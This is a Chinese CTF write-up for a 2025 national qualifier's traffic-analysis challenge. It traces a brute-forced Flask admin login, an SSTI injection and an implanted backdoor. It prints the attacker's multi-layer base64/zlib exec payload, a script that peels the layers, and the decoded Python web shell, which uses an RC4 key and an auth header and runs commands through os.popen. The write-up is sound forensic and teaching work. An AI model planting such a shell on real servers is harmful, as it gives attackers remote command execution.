第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛
时隔一年再次参加国赛初赛,相比去年刚入坑CTF只做了3道签到也算是有点进步吧 以下WP中流量分析的 SnakeBackdoor-5 和 SnakeBackdoor-6 为赛后复现 题目见 CTF-Archives/2025-CCB-CISCN-Quals
流量分析
近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
SnakeBackdoor-1 Challenge
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
Solution
筛选 http 流量,倒着看,找到最后一条 /admin/login 的流量,302 跳转了说明密码正确了
FLAG
SnakeBackdoor-2 Challenge
攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}
Solution
直接搜索 SECRET_KEY
FLAG 1 flag{c6242af0-6891-4510-8432-e1cdf051f160}
SnakeBackdoor-3 Challenge
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
Solution 从第二问得知漏洞利用点在 /admin/preview,是 SSTI 注入preview_content
接着追踪下一条 /admin/preview 的流量就能找到通过漏洞植入的木马
这段 payload 的关键部分如下:
1 import base64; exec (base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==' ))
把 exec 改成 print 运行得到:
1 _ = lambda __ : __import__ ('zlib' ).decompress(__import__ ('base64' ).b64decode(__[::-1 ]));\nexec((_)(b'=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' ))
继续把 exec 改成 print 运行得到:
1 exec ((_)(b'=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' ))
看起来是递归加密,编写脚本批量解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import base64import zlibimport recode = """ exec((_)(b'=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')) """ def decrypt_ (encrypted_b64_data ): try : return zlib.decompress(base64.b64decode(encrypted_b64_data[::-1 ])).decode('utf-8' ) except Exception as e: return None def decrypt (code ): current = code layer = 0 while True : match = re.search(r"b'([^']+)'" , current) if match : layer += 1 payload = match .group(1 ) next_layer = decrypt_(payload.encode('utf-8' )) if next_layer: current = next_layer else : break else : break return current print (decrypt(code))
运行解密得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 global exc_classglobal codeimport os,binasciiexc_class, code = app._get_exc_class_and_code(404 ) RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt (data: bytes , key: bytes ) -> bytes : S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray () for char in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256 ]) return bytes (res) def backdoor_handler (): if request.headers.get('X-Token-Auth' ) != '3011aa21232beb7504432bfa90d32779' : return "Error" enc_hex_cmd = request.form.get('data' ) if not enc_hex_cmd: return "" try : enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8' , errors='ignore' ) output_bytes = getattr (os, 'popen' )(cmd).read().encode('utf-8' , 